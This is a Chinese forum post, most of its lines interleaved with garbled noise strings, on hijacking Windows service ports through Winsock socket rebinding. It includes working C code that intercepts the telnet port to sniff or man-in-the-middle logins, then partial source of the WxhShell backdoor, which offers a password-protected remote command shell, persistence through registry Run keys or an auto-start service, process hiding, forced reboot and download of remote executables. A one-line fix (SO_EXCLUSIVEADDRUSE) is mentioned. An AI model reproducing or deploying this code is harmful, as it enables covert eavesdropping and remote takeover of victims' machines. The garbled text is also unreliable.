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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :, _!pe;H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?3q@f\fZ  
M'2r@NR8  
  saddr.sin_family = AF_INET; g)R1ObpZ  
o=_c2m   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BpH%STEN  
VEs5;]#<2D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G\=_e8(  
Kkv<"^H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z\ )C_p\-  
%;|0  
  这意味着什么?意味着可以进行如下的攻击: d1]i,C~Y  
S^N {wZo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :(, mL2[  
P :k+ y$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <a|@t@R  
8lP6-VA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L:@fP~Erh  
{@.Vh]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G1d(,4Xp  
bL1m'^r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |cd-!iJX-  
PeTA$Yl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~<)vKk  
#xT!E:W '  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }x:f%Z5h  
-RMi8{  
  #include 5iM[sg[y9  
  #include 3t" 4TjAy  
  #include hXB|g[zT  
  #include    fS=hpL6]@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lH2wG2  
  int main() x({C(Q'O  
  { obo&1Uv,/  
  WORD wVersionRequested; 80;n|nNB  
  DWORD ret; u0 y 1  
  WSADATA wsaData; 2@khSWV  
  BOOL val; mL yBm  
  SOCKADDR_IN saddr; i9A~<  
  SOCKADDR_IN scaddr; )9L/sKz  
  int err; 2k5/SV X  
  SOCKET s; KzO,*M  
  SOCKET sc; XP3x Jm3  
  int caddsize; {5j66QFoo  
  HANDLE mt; _}gtcyx  
  DWORD tid;   nwmW.(R4  
  wVersionRequested = MAKEWORD( 2, 2 ); GF$`BGW  
  err = WSAStartup( wVersionRequested, &wsaData ); x#H 3=YD*  
  if ( err != 0 ) { N#ioJ^}n:  
  printf("error!WSAStartup failed!\n"); X+82[Y,mB.  
  return -1; :iUF7P1I  
  } u2iXJmM*  
  saddr.sin_family = AF_INET; s'\$t  
   W?Ww2Lo%Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >:1P/U  
RU#F8O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dl~|Izm  
  saddr.sin_port = htons(23); se9>.}zZN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Log|%P\  
  { S\#17.=  
  printf("error!socket failed!\n"); iG<Som  
  return -1; l"+J c1\X  
  } W+=o&V  
  val = TRUE; *d*,Hqn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hdma=KqZ(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]$b2a&r9  
  { *rh,"Zo  
  printf("error!setsockopt failed!\n"); #,NvO!j<4  
  return -1; #& ?g %'  
  } mUoIJ3fv_,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5:.{oSy7n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =O$M_1lp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |j~lkzPnV  
~bK9R 0|<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vVxD!EL  
  { s1j{x&OSq  
  ret=GetLastError(); gVR@&bi7  
  printf("error!bind failed!\n"); mY7>(M{  
  return -1; qxOi>v0\H  
  } [1yq{n=  
  listen(s,2); 0<p{BL 8  
  while(1) S<wj*"|.s  
  { PoSpkJH  
  caddsize = sizeof(scaddr); !|Q5Zi;aX7  
  //接受连接请求 z@ 35NZn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [<c&|tfl  
  if(sc!=INVALID_SOCKET) 3'`dFY,  
  { /j2H A^GT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #q\x$   
  if(mt==NULL) na+d;h*~y  
  { ~NcQ1.  
  printf("Thread Creat Failed!\n"); Wr?'$:  
  break; 7:E!b=o#  
  } E%N2k|%8d_  
  } ]/X(V|t  
  CloseHandle(mt); p *w$:L  
  } ~ 5"JzT  
  closesocket(s); {FO$yw=>  
  WSACleanup(); dt\jGD  
  return 0; rf &M!d}!  
  }   Cfu=u *u  
  DWORD WINAPI ClientThread(LPVOID lpParam) qoMfSz"(  
  { :mcYZPX#  
  SOCKET ss = (SOCKET)lpParam; D<$XyP  
  SOCKET sc; /iaf ^ >  
  unsigned char buf[4096]; l@Z6do  
  SOCKADDR_IN saddr; 9LC&6Q5O&  
  long num; i5}4(sV  
  DWORD val; ),}AI/j;zY  
  DWORD ret; ?/hZb"6W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yR5XJ;Tct  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SkQswH  
  saddr.sin_family = AF_INET; Fg]?zEa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G\d$x4CVGc  
  saddr.sin_port = htons(23); I0'WOV70  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4'1m4Ugg  
  { /b#l^x:j  
  printf("error!socket failed!\n"); Ta=s:trP  
  return -1; /#NYi,<{X  
  } ),:c+~@@kT  
  val = 100; ~ Heb1tl ;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R\3VB NX.g  
  { 2S[-$9  
  ret = GetLastError(); bPK Ow<  
  return -1; y] oaO+  
  } Io`P,l:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PUJ2`iP1^3  
  { hB;VCg8  
  ret = GetLastError(); Lo.rvt  
  return -1; 5Z/7kU= I  
  } ,i9Byx#TN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W*DVi_\$y  
  { =<@2#E)  
  printf("error!socket connect failed!\n"); PQmq5N6  
  closesocket(sc); $lA V6I.  
  closesocket(ss); rf:XRJ <4  
  return -1; <yA}i"-1W  
  } 38ES($  
  while(1) eDI= nSo  
  { _n8GWBi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q<W=#Sx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N7r_77%m0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `$LWmm#  
  num = recv(ss,buf,4096,0); 6DIZ@oi  
  if(num>0) ~5 N)f UI\  
  send(sc,buf,num,0); -/C)l)V}  
  else if(num==0) O4 3YY2  
  break; ^[E' 1$D  
  num = recv(sc,buf,4096,0); Ox!U8g8c  
  if(num>0) L WoG4s?w  
  send(ss,buf,num,0); h5_G4J{1  
  else if(num==0) 0-Y:v(|.  
  break; Jq.lT(E8D  
  } 1F'1>Bu~  
  closesocket(ss); eK_*2=;XRW  
  closesocket(sc); _ZB\L^j)  
  return 0 ; 2aZw[7s  
  } %_-zWVJ  
9h90huyKF  
-ezY= 0Q&  
========================================================== B5V_e!*5F*  
J&/lx${  
下边附上一个代码,,WXhSHELL JG[o"&Sd  
+6$g! S5{  
========================================================== 8(g:HR*;  
b+-f.!j  
#include "stdafx.h" [H\:pP8t  
54;J8XT7  
#include <stdio.h> 0kQPJWF  
#include <string.h> jxa D&4Fs8  
#include <windows.h> >KLtY|o)  
#include <winsock2.h> =h6 sPJ  
#include <winsvc.h> b !@Sn/  
#include <urlmon.h> qW:)!z3\  
qSqI7ptA\  
#pragma comment (lib, "Ws2_32.lib") keW~ NM  
#pragma comment (lib, "urlmon.lib") PP~rn fE  
-4rDbDsr  
#define MAX_USER   100 // 最大客户端连接数 kd:$oS_*s  
#define BUF_SOCK   200 // sock buffer c3*t_!@oC  
#define KEY_BUFF   255 // 输入 buffer 1axQ)},o@p  
Ab%;Z5$fr  
#define REBOOT     0   // 重启 jCAC `  
#define SHUTDOWN   1   // 关机 4(neKr5\#  
=p^He!  
#define DEF_PORT   5000 // 监听端口 unJid8Lo  
87%*+n:?*  
#define REG_LEN     16   // 注册表键长度 EpS(o>'  
#define SVC_LEN     80   // NT服务名长度 jc[_I&Oc_  
+x? #DH-  
// 从dll定义API $8USyGi3J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m=AqV:%|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *%w6 9#D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ut-B^x)gl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {qW~"z*  
UX3BeUi.)  
// wxhshell配置信息 ;@,Q&B2eM  
struct WSCFG { $&s=68  
  int ws_port;         // 监听端口 Om'+]BBN  
  char ws_passstr[REG_LEN]; // 口令 9 3+"D`  
  int ws_autoins;       // 安装标记, 1=yes 0=no g*)K/Z0pJ$  
  char ws_regname[REG_LEN]; // 注册表键名 u~ ~R9.  
  char ws_svcname[REG_LEN]; // 服务名 M/?KV9Xk2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]eQV ,Vt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {8,<ZZ_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KIA 2"KbjG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J89Dul l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @~<j&FTT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `nKH"TaX  
)b<k#(i@#  
}; =1I#f  
(>6*#9#p  
// default Wxhshell configuration +x9cT G  
struct WSCFG wscfg={DEF_PORT, #j#_cImE  
    "xuhuanlingzhe", |py6pek|  
    1, F-D]TRG/*]  
    "Wxhshell", ANIz, LS  
    "Wxhshell", +_v$!@L8  
            "WxhShell Service", ; Sd\VR  
    "Wrsky Windows CmdShell Service", ms($9Lv/  
    "Please Input Your Password: ", O%1v) AT&\  
  1, ^JI o? R  
  "http://www.wrsky.com/wxhshell.exe", Q%/<ZC.Mz6  
  "Wxhshell.exe" ,\ 2a=Fp  
    }; ^l^fD t  
J$4wL F3  
// 消息定义模块 JG C=(;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >@WX>0`ht  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X1IeSMAe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Eh-n  
char *msg_ws_ext="\n\rExit."; +,o0-L1D  
char *msg_ws_end="\n\rQuit."; A*. /,KT  
char *msg_ws_boot="\n\rReboot..."; _, ;j7%j  
char *msg_ws_poff="\n\rShutdown..."; dC=)^(  
char *msg_ws_down="\n\rSave to "; oLWJm  
i{!T&8  
char *msg_ws_err="\n\rErr!"; xD&^j$Em  
char *msg_ws_ok="\n\rOK!"; nA|.t  
S[tE&[$(p  
char ExeFile[MAX_PATH]; mrm^e9*Z  
int nUser = 0; >FhK #*Pa  
HANDLE handles[MAX_USER]; ,f}UGd[a  
int OsIsNt; i>EgG5iJ  
7NC=*A~  
SERVICE_STATUS       serviceStatus; 1h*)@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9ukg}_Hx  
D+ ~_TA  
// 函数声明 1 )}=bhT  
int Install(void); ^8 ' sib  
int Uninstall(void); J--m[X  
int DownloadFile(char *sURL, SOCKET wsh); Ggh.dZI4  
int Boot(int flag); MYBx&]!\  
void HideProc(void); yCJFo  
int GetOsVer(void); st"{M\.p  
int Wxhshell(SOCKET wsl); Oz|K8p  
void TalkWithClient(void *cs); b}T6v  
int CmdShell(SOCKET sock); zkTp`>9R  
int StartFromService(void); |Iu npZV  
int StartWxhshell(LPSTR lpCmdLine); Ngb(F84H?  
awv De  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h25G/`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :{NC-%4o0  
f84:hXo6  
// 数据结构和表定义 ,uzN4_7u  
SERVICE_TABLE_ENTRY DispatchTable[] = \%sVHt`c  
{ ,>t69 Ad  
{wscfg.ws_svcname, NTServiceMain}, t_ksvWUo  
{NULL, NULL} _k^0m  
}; Q]rD}Ckv-  
>5R <;#8  
// 自我安装 J$~<V IX  
int Install(void) _U;eN|Ww  
{ s >0Nr  
  char svExeFile[MAX_PATH]; [D5t{[i  
  HKEY key; 7_2kDDW0  
  strcpy(svExeFile,ExeFile); >3awn*N  
Kj=b[ e%  
// 如果是win9x系统,修改注册表设为自启动 3E f1bhi  
if(!OsIsNt) { /-6S{hl9Ne  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qO`)F8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SuZ&vqS  
  RegCloseKey(key); Z):n c% S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R3k1RE2c&g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kNu'AT#3|  
  RegCloseKey(key); O D Ur  
  return 0; 7iJ&6=/  
    } j@Yi`a(sdm  
  } \A `hj~  
} JT fd#g?I  
else { X(jVRr_m9  
/ywD{*  
// 如果是NT以上系统,安装为系统服务 DmXcPJ[9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I\qYkWg7  
if (schSCManager!=0) K[chjp!$l  
{ pT?Q#,fh  
  SC_HANDLE schService = CreateService yL;M"L  
  ( c9R 5w.t:  
  schSCManager, UpXz&k  
  wscfg.ws_svcname, w&4~Q4  
  wscfg.ws_svcdisp, Ll MpS<2NO  
  SERVICE_ALL_ACCESS, < j$#9QQ1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *&Z7m^`FQ  
  SERVICE_AUTO_START, WvHw{^(lF  
  SERVICE_ERROR_NORMAL, (H oqR  
  svExeFile, *5<Sr q'  
  NULL, 1 nvTce  
  NULL, '8Phxx|  
  NULL, @\&m+;6  
  NULL, [sW.CK= 3  
  NULL h;5LgAY|v  
  ); iJnU%  
  if (schService!=0) 3D9 !M-  
  { Pmi#TW3X  
  CloseServiceHandle(schService); = 07Gy,=i  
  CloseServiceHandle(schSCManager); (;VVC Aoy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `Q+moX  
  strcat(svExeFile,wscfg.ws_svcname); &'l>rD^o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -T6(hT\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CIjZG?A  
  RegCloseKey(key); ND<!4!R^  
  return 0; 8@NH%zWBp  
    } XPB9~::  
  } :|o<SZ  
  CloseServiceHandle(schSCManager); E&Qi@Ty  
} pj?XLiM54%  
} P,ua<B}L  
bslrqUk_`=  
return 1; ^$%Z! uz  
} )Qm[[pnj  
g<*BLF  
// 自我卸载 )XQ`M?**M  
int Uninstall(void) ? muzU.h"z  
{ 5unG#szq  
  HKEY key; g~UUP4<$"  
M8k"je7`s  
if(!OsIsNt) { 7?OH,^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;X,1&#I  
  RegDeleteValue(key,wscfg.ws_regname); m8623D B"  
  RegCloseKey(key); QZ `tNq :/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :a:[.  
  RegDeleteValue(key,wscfg.ws_regname); iVB^,KQ@  
  RegCloseKey(key); V8=Y@T,  
  return 0; $4jell  
  } +7Kyyu)y@  
} Gamr6I"K  
} kF7(f|*  
else { I *c;H I  
0'&X T^"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (><zsLs&  
if (schSCManager!=0) PiFD^w  
{ UR(-q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W~_t~Vg5  
  if (schService!=0) }0,>2TTDN  
  { R];Ox e  
  if(DeleteService(schService)!=0) { elG;jB  
  CloseServiceHandle(schService); UEak^Mm;=2  
  CloseServiceHandle(schSCManager); @eqeN9e  
  return 0; \U%#nU{  
  } %iJ%{{f`  
  CloseServiceHandle(schService); (2?G:+C 7  
  } W:i?t8y\y  
  CloseServiceHandle(schSCManager); X5YiFLH>y\  
} PLM_#+R>  
} 1 4 LI5T  
*zO&N^X.4  
return 1; cYNJhGY  
} ,? E&V_5  
9>/wUQs!]  
// 从指定url下载文件 HG/p$L*  
int DownloadFile(char *sURL, SOCKET wsh) =TR,~8Z|  
{ Gf8s?l  
  HRESULT hr; -{h   
char seps[]= "/"; WS& kx~oQ  
char *token; TJ?g%  
char *file; =Nz0.:  
char myURL[MAX_PATH]; ,n2i@?NHZ  
char myFILE[MAX_PATH]; -#-p1^v}  
4 !`bZ`_Bw  
strcpy(myURL,sURL); Hy{ Q#fq  
  token=strtok(myURL,seps); $]aBe !  
  while(token!=NULL) Z?MoJ{.!?R  
  { x0a.!  
    file=token; df+t:a  
  token=strtok(NULL,seps); P`U<7xF~  
  } ]L2Oz  
elJ)4Em  
GetCurrentDirectory(MAX_PATH,myFILE); 9ykM3  
strcat(myFILE, "\\"); "s W-_j]  
strcat(myFILE, file); 3`9{T>  
  send(wsh,myFILE,strlen(myFILE),0); wHz?#MW 3L  
send(wsh,"...",3,0); 0ZAj=u@O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;%J5=f%z)  
  if(hr==S_OK) 89o)M5KQ  
return 0; <(@Syv)  
else h%d^Gq~  
return 1; QGiAW7b5  
eT"Uxhs-}  
} us?&:L|!=  
ba@ax3  
// 系统电源模块 %IL6ix  
int Boot(int flag) OLq 0V3m  
{ B68H&h]D#'  
  HANDLE hToken; 4{9d#[KW  
  TOKEN_PRIVILEGES tkp; >5~7u\#9  
]T O/kl/  
  if(OsIsNt) { }:iBx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NTs;FX~g[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nbofYI$rd&  
    tkp.PrivilegeCount = 1; t$^l<ppQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D)='8jV7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Flu\w/+P  
if(flag==REBOOT) { x )5V.q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j{#Wn !,  
  return 0; 'p)Q68;&  
} =4C}{IL  
else { j'Y / H5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ex@`O+  
  return 0; tP ~zKU  
} .M|>u_<Qd  
  } }{7e7tW6  
  else { #*q2d  
if(flag==REBOOT) { s #:%x#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c yQ(fIYl  
  return 0; !J>A,D"-  
} \hk/1/siyF  
else { [2$4|;7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g=]&A  
  return 0; g;F"7 ^sg  
} }4jC_ZAupt  
} ty1fcdFZM  
D>ai.T%n  
return 1; g: %9jf  
} "#^MUQ!a  
Dxx;v.$  
// win9x进程隐藏模块 7r{qJ7$%  
void HideProc(void) kL{;.WsB  
{ 4dhqLVgL{  
s(@h 2:j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f%^'P"R  
  if ( hKernel != NULL ) )jW(6  
  { /dHs &SU,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C77D{@SM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #*IVlchA"B  
    FreeLibrary(hKernel); ;cP8?U  
  } Wz=OSH7"f  
u,i]a#K  
return; 4~?2wvz G4  
} .{dE}2^  
gzfbzt}?  
// 获取操作系统版本 H9"=  p  
int GetOsVer(void) oC dGQ7G}  
{ \4~AI=aw,T  
  OSVERSIONINFO winfo; HR{s&ho  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6o}V@UzqV  
  GetVersionEx(&winfo); #0 y <a:}R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &a~=b,  
  return 1; Jgx8-\ 8  
  else w[fDk1H)  
  return 0; :uCdq`SaQl  
} ?A=b6Um  
4^Qi2[w  
// 客户端句柄模块 'qeP6}M  
int Wxhshell(SOCKET wsl) TnxKR$Hoh  
{ 5rN _jC*U  
  SOCKET wsh; 2RNrIU I2  
  struct sockaddr_in client; Ghv{'5w  
  DWORD myID; 9 pKm*n&  
X BI;Lg  
  while(nUser<MAX_USER) e9@(/+  
{ R8sck)k'}  
  int nSize=sizeof(client); ^" 6f\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a+(j ?_FyI  
  if(wsh==INVALID_SOCKET) return 1; ?iSGH'[u  
r%MyR8'k]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R$0U<(/  
if(handles[nUser]==0) t{(Mf2GR1  
  closesocket(wsh); 2;(W-]V?  
else ZxSsR{  
  nUser++; Bhuw(KeB  
  } 8]*Q79  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mZoD033H  
h)B!L Ar  
  return 0; CyTFb$Z  
} E2:D(7(;l  
_EKF-&Q6  
// 关闭 socket <c%n?QK{  
void CloseIt(SOCKET wsh) ;~ee[W$1  
{ v5Y@O|i#  
closesocket(wsh); &+;uZ-x  
nUser--; cIZc:   
ExitThread(0); FLbZ9pX}  
} Baq ~}B<  
[}k|  
// 客户端请求句柄 & l^n4  
void TalkWithClient(void *cs) 9eSRCLhgD  
{ /RF%1!M K  
1M+Zkak7p  
  SOCKET wsh=(SOCKET)cs; NhlJ3/J j  
  char pwd[SVC_LEN]; 5ZsDgOeY  
  char cmd[KEY_BUFF]; Sr7@buF  
char chr[1]; m!!;/e?yx  
int i,j; gE=Wcb!  
&wGg6$  
  while (nUser < MAX_USER) { rt;gC[3\  
vl~%o@*_  
if(wscfg.ws_passstr) { HWbBChDF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (4ZLpsbJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aJQXJ,>Lv  
  //ZeroMemory(pwd,KEY_BUFF); # ITLz!g E  
      i=0; @^HwrwRA  
  while(i<SVC_LEN) { RK3.-  
fk\5D[j^  
  // 设置超时 sA2o2~AmM  
  fd_set FdRead; jEE_D +K  
  struct timeval TimeOut; Q!) z)-hI  
  FD_ZERO(&FdRead); bw;iz ,Z  
  FD_SET(wsh,&FdRead); <j"O%y.  
  TimeOut.tv_sec=8; A:xb!= 2  
  TimeOut.tv_usec=0; c,AZ/t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /'`6 ; uRN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7jR7  
rG5i-'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ys+N,:#R  
  pwd=chr[0]; ;qG1r@o  
  if(chr[0]==0xd || chr[0]==0xa) { E 8^sy*f  
  pwd=0; 6=BZ~ed  
  break; P=pY8X:  
  } 'Z$jBL  
  i++; Zih5/I  
    } B%(K0`G#X  
Fj3^ #ly  
  // 如果是非法用户,关闭 socket |$w0+bV*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hs,5LV)|y  
} 6m\*]nOy4  
<[FS%2,0mb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {6YxN&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hgif]?:C<  
af^@ .$ |  
while(1) { Yoe les-  
nO:HB.&@  
  ZeroMemory(cmd,KEY_BUFF); X@eg<]'m  
W9+h0A-  
      // 自动支持客户端 telnet标准   y8D 8Y8B  
  j=0; $uTlbAuv  
  while(j<KEY_BUFF) { h+ TB]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K9}jR@jy$  
  cmd[j]=chr[0]; 6i^0T  
  if(chr[0]==0xa || chr[0]==0xd) { ~CulFxu  
  cmd[j]=0; _32/WQF6  
  break; LNbx3W oC  
  } |oFI[PE  
  j++; O{*GW0}55  
    } /o'oF  
M+\rX1T  
  // 下载文件 r5Wkc$  
  if(strstr(cmd,"http://")) { YBeZN98Nt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ju r1!rg%  
  if(DownloadFile(cmd,wsh)) V3%Krn1'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kU>#1 He  
  else k\%,xf; x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &7lk2Q\  
  } {MA@ A5  
  else { =cknE=  
m_~y   
    switch(cmd[0]) { 9PWm@ Nlf  
  u`nt\OF  
  // 帮助 EqYz,%I%  
  case '?': { 0.3^   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a?l_-Fi  
    break; !HbqbS22  
  } J~fuW?a]r  
  // 安装 n JW_a&'  
  case 'i': { -.^=Z!=M  
    if(Install()) ho(5r5SNE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % d4+Ctrp-  
    else $;Q=iv 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  %L{  
    break; 7B VXBw  
    } aKa  R  
  // 卸载 1+VY><=n  
  case 'r': { ]gjr+GV  
    if(Uninstall()) *c!;^Qyp&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aGdpec v  
    else KC#kss  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,.j_ii`!  
    break; WFQ*s4 R(  
    } q.U*X5  
  // 显示 wxhshell 所在路径 !4i,%Z& 6  
  case 'p': { i#Ne'q;T  
    char svExeFile[MAX_PATH]; ll 6]W~[ZC  
    strcpy(svExeFile,"\n\r"); z0=Rp0_W  
      strcat(svExeFile,ExeFile); d%S=$}o  
        send(wsh,svExeFile,strlen(svExeFile),0); cA2^5'$$  
    break; s0_-1VU  
    } ab8oMi`z  
  // 重启 m*Q[lr=  
  case 'b': { Q@ykQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L?AM&w-cg9  
    if(Boot(REBOOT)) -ryDsq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "``W6W-(  
    else { ^uKnP>*l  
    closesocket(wsh); Fc34Y0_A  
    ExitThread(0); ppPG+[cz  
